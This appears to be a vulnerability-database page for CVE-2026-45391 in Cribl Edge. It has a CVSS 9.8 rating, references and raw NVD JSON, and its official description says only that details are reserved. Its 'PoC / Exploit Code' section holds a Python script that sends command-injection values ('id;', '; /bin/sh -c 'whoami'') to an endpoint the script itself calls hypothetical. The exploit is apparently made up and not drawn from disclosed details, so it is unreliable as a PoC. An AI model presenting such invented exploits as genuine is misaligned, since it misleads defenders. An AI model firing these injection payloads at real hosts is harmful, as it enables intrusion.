CVE-2026-45391

Description

Reserved. Details will be published at disclosure.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Cribl Edge < 4.1.71

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
# PoC for CVE-2026-45391 (Hypothetical)
import requests
import sys

def exploit(target_url):
    """
    Send a malicious payload to the target Cribl Edge instance.
    """
    # Hypothetical vulnerable endpoint
    endpoint = f"{target_url}/api/v1/process"
    
    # Payload to execute a simple command (e.g., ping or id)
    payload = {
        "command": "id;",
        "args": ["; /bin/sh -c 'whoami'"]
    }
    
    try:
        print(f"[*] Sending exploit payload to {target_url}...")
        response = requests.post(endpoint, json=payload, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request sent successfully. Check for command execution.")
            print(f"[+] Response: {response.text}")
        else:
            print(f"[-] Exploit failed. Status code: {response.status_code}")
            
    except Exception as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: python {sys.argv[0]} <target_url>")
        sys.exit(1)
    exploit(sys.argv[1])

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-45391
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-45391
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-45391/
[4] VulDB https://vuldb.com/cve/CVE-2026-45391
[5] https://docs.cribl.io/edge/release-notes/release-v4171#security-fixes
[6] https://trust.cribl.io/notifications

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-45391", "sourceIdentifier": "af879a92-7297-456a-bb0e-905ac6c64bdc", "published": "2026-05-12T02:16:13.107", "lastModified": "2026-05-15T12:17:08.767", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Reserved. Details will be published at disclosure."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}], "references": [{"url": "https://docs.cribl.io/edge/release-notes/release-v4171#security-fixes", "source": "af879a92-7297-456a-bb0e-905ac6c64bdc"}, {"url": "https://trust.cribl.io/notifications", "source": "af879a92-7297-456a-bb0e-905ac6c64bdc"}]}}